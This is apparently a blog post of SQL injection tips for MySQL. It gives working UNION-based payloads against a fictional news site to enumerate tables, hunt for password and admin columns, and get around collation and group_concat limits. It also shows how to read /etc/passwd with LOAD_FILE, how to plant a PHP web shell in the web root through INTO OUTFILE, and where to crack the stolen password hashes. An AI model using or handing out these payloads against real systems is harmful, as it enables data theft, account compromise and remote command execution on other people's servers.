SELECT tips,tricks FROM help INTO OUTFILE 'user@localhost'

Some useful tips & tricks while performing SQL injection.

These are a collection of helpful SQLi tips and tricks that might make your life easier when performing SQL injection attacks testing.

Avoid the concat 1024 character limit

In MySQL the group_concat() function has a server imposed limit, the default is 1024 characters. You may run into this limit when enumerating table and column names and certainly when extracting data. Consider the following fictional example taken from State of the Union:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,group_concat(table_name),3,4 from information_schema.tables WHERE table_schema = frostyhacksblog --

SQL

SELECT id, headline, news, author FROM news WHERE id =-51 UNION SELECT 1,group_concat(table_name),3,4 from information_schema.tables WHERE table_schema = frostyhacksblog --

The result in this case is a list of table names selected from the information_schema, if this list exceeds the group_concat limit it will become truncated on the web page. A simple way to avoid this limit is to select one row at a time, switch the group_concat() for concat() and set a LIMIT at the end, remember that limit is zero indexed so 0 is the first record and 1 is the 2nd and so on. The following example selects the 10th row.

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,concat(table_name),3,4 from information_schema.tables WHERE table_schema = frostyhacksblog LIMIT 9,1--

SQL

SELECT id, headline, news, author FROM news WHERE id =-51 UNION SELECT 1,concat(table_name),3,4 from information_schema.tables WHERE table_schema = frostyhacksblog LIMIT 9,1--

There is a method for selecting an entire table in a single query which I will cover in another blog post covering advanced SQLi techniques.

Illegal mix of collations for operation 'UNION'

You may receive this error when you try and union the original SQL statement with your own data from another table or schema and perform operations like concat() or group_concat(). Collations are rules regarding character sets and how to do operations on them such as order them or compare them you can read more here. When tables store data with different character sets and collations and you try and union these together you will generate this error.

To get around this limitation a simple fix is to run the data you extract through a function which returns a result using the same character set and collation, there are several to pick from hex(), compress(),aes_encrypt(). To make sure you get the result out as plain text you simply run the inverse function on the result for example:

group_concat(unhex(hex(data)))

group_concat(uncompress(compress(data)))

group_concat(aes_decrypt(aes_encrypt(data)))

You can also cast or convert the results, you can find the syntax and read more about this in the MySQL documentation.

Find sensitive data quickly

You may want to search quickly for specific data such tables or columns with the name"password" or "admin" in them. Instead of enumerating the entire database and searching through the results you can search the information_schema in a single query to find such columns and which tables they belong to. A fictional example:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,group_concat(column_name,0x3a,table_name,0x0a),3,4 from information_schema.columns WHERE column_name like '%pass%' OR column_name like '%admin%'--

SQL

SELECT id, headline, news, author FROM news WHERE id =-51 UNION SELECT 1,group_concat(column_name,0x3a,table_name,0x0a),3,4 from information_schema.columns WHERE column_name like '%pass%' OR column_name like '%admin%'--

This will give you a list of results of columns that contain the string "pass" or the string "admin"

Encrypted passwords

In most cases passwords aren't stored in plain text, rather the MD5 is calculated and stored, this is to stop database admins and hackers from easily reading passwords of users or customers. There are many different type of hashes and they are easy to spot, they tend to be a fixed length and random, they may also use a limited character set or have certain static parts such as $P$B at the start, these are different encryption schemes used in newer versions of WordPress and Drupal.

Decrypting MD5 passwords traditionally requires a brute force attempt, you can look at doing this yourself using fast computers and applications like oclHashcat, however there are lots of on line resources that will check hashes for you against a large database of pre-cracked common passwords, the largest of which is Hashkiller.

Base64 encoding

If you come across strange encoding inside fields but the content is variable length (indicating it's not a hash) and tends to end in an = or == then you're looking at Base64 encoded data, the equals or double equals at the end is a dead give away, if the base 64 string length isn't divisible by 3 then the string is padded with either = or ==.

As of MySQL version 5.6.1 you can base64 decode on the server before pulling out the results simply use the FROM_BASE64() function, you can read more about that in the official documentation. If you want to determine the version of the database remember you can select the system variable @@version.

Read from the file system

You can read files directly from the file system with MySQL, only out of directories that the user MySQL is running as is allowed to access, this can be done with the LOAD_FILE() function, you can find the official documentation here:

For example if you wanted to read the Linux password file you'd SELECT LOAD_FILE(‘/etc/passwd’) 

Write to the file system

You can also write to the file system by selecting queries INTO OUTFILE, the documentation can be found here: There are some limitations, your MySQL account you're connected to the database with must have file write privileges and you can only write to system folders which the account the MySQL service runs as has access to

Another trick you can use with MySQL is selecting a column name that is simply a string, the result of this kind of query will simply be the string you used as the column name. For example:

SELECT 'some arbitrary string' FROM SomeRealTable

The output will simply be "some arbitrary string".

A typical use for this is to combine this kind of select with the INTO OUTFILE feature and write some PHP script into a .php file in the web root allowing you to pass commands back to the OS via a web page. Inside of a UNION based SQLi attack it might look something like this:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT NULL,"<? system($_GET['cmd']); ?>",NULL,NULL INTO OUTFILE '/var/www/mywebsiteroot/shell.php' --

SQL

SELECT id, headline, news, author FROM news WHERE id =-51 UNION SELECT NULL,'<? system($_GET['cmd']); ?>',NULL,NULL INTO OUTFILE '/var/www/mywebsiteroot/shell.php' --

You'll want to set the other columns to NULL so your final file is only contains what you've selected, make sure the first part of the query before the union is not selecting data by setting the where clause to something that doesn't exist, in this case simply setting the id to be a minus does the trick.

Any questions please leave a comment, if you have any suggestions for tips and tricks to expand this post then please comment and I'll give you credit as the source